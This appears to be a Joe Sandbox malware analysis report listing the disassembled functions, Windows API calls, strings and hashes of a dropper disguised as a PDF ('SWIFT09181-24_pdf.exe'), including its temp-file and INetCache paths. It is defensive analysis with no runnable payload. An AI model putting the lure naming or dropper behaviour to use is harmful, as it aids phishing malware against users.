Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsw967F.tmp
API String ID: 1356686001-1399413536
Opcode ID: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056A9

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3081826266
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNELBASE(0040A300,?,00000000,?,?,?,00000000,0040329E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405C92

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C5E
nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNELBASE(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 00405683: CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving
API String ID: 1892508949-2168965836
Opcode ID: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction ID: 2a65e9898054e9c842dee46b5c7982ab048171bb6952f998b4aca48d6bd22bb3
Opcode Fuzzy Hash: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction Fuzzy Hash: 96119331504504EBCF20BFA4CD4599E36A1EF44368B25093BEA46B62F2DA394A819E5D

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FEE

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FFF
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction ID: 561ed2f99fcd8f3c69216c61aae9e950b585f3ecd418fa9455324ea25216acba
Opcode Fuzzy Hash: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction Fuzzy Hash: 8221A731900209EBDF20AF65CE48A9E7E71BF00354F20427BF510B51E1CBBD8A81DA5D

Function 00401B37 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(005DEC98), ref: 00401BA7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BB9

Strings

Call, xrefs: 00401B5E, 00401B64, 00401B7E

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 3223036e7e2fecee151538c34771c34e58526c9ebab93d957a64f6eea7189736
Instruction ID: 27804974e3ca03393c04398de70bc6092cde1ed56c9d8f76027c1228d60f226a
Opcode Fuzzy Hash: 3223036e7e2fecee151538c34771c34e58526c9ebab93d957a64f6eea7189736
Instruction Fuzzy Hash: 32219072600101EBCB10EFA4CE85E5F77BAAF45324725413BF116B32D1DA78A8519B1D

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000463,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw967F.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction ID: caa0a88e983a87845293d3a09aded013c5498a2120ee6ea3f3930af667db2d56
Opcode Fuzzy Hash: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction Fuzzy Hash: 9FF08171A00204ABEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000463,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw967F.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction ID: 28617f4b1a8802b5017de0243b5a45cf97da40b04a50325282b533cdbf166070
Opcode Fuzzy Hash: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction Fuzzy Hash: 64115E31911205EBDB14CFA4DA489AEB7B4EF44354B20843FE446B72D0DAB89A41EB59

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction ID: cd3aabbb77ee63ed71f9921c47df44d3aa6e588553b0b950a072bc92d791a3e5
Opcode Fuzzy Hash: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction Fuzzy Hash: 2101F4316202209FE7095B389D05B6A3698E710319F10863FF851F62F1DA78DC428B4C

Function 0040642B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
GetProcAddress.KERNEL32(00000000,?), ref: 00406458

Part of subcall function 004063BF: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
Part of subcall function 004063BF: wsprintfW.USER32 ref: 00406411
Part of subcall function 004063BF: LoadLibraryW.KERNELBASE(?), ref: 00406421

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction ID: 5d7b52194fecd52e31197542c52f699420a2dcfb6f4997f05ddeecd74f4f3bdc
Opcode Fuzzy Hash: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction Fuzzy Hash: 70E0863660422066D61057705E44D3763AC9E94704306043EFA46F2041DB78DC32AA6E

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction ID: 46dfe73b81ae29a5099323896a5bc3e3d9df575198e3285abdeb67f25c429c8d
Opcode Fuzzy Hash: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction Fuzzy Hash: 76E08C326005009BCB10AFB5AA4999D3375DF90369710007BE402F10E1CABC9C409A2D

Function 00405C2A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
